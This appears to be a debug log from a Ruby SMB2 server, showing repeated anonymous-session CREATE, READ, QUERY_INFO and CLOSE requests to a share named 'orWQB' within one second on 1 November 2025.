_raw: D, [2025-11-01T18:44:04.715581 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.715477 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.702739 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.702676 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.699889 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.699795 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.696864 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.696799 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.689676 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.689594 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.686844 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.686790 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.684979 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.684914 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.683071 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.683007 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.681050 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.680855 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.678997 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.678933 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.676573 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.676515 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.674298 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.674243 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.672032 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.671972 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.669704 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.669631 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.667376 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.667320 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.665001 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.664919 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.658440 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.658377 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.655754 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.655698 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.653802 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.653736 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.651684 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.651593 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.649650 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.649570 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.647523 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.647459 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.645145 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.645088 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.642569 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.642515 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.640180 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.640122 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.637539 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.637479 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.634874 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.634819 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.631988 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.631923 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.624359 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.624282 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.598978 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.598923 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.597261 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.597196 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.595249 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.595162 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.592388 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.592328 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.589188 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.588843 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.577248 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.577188 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.572862 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB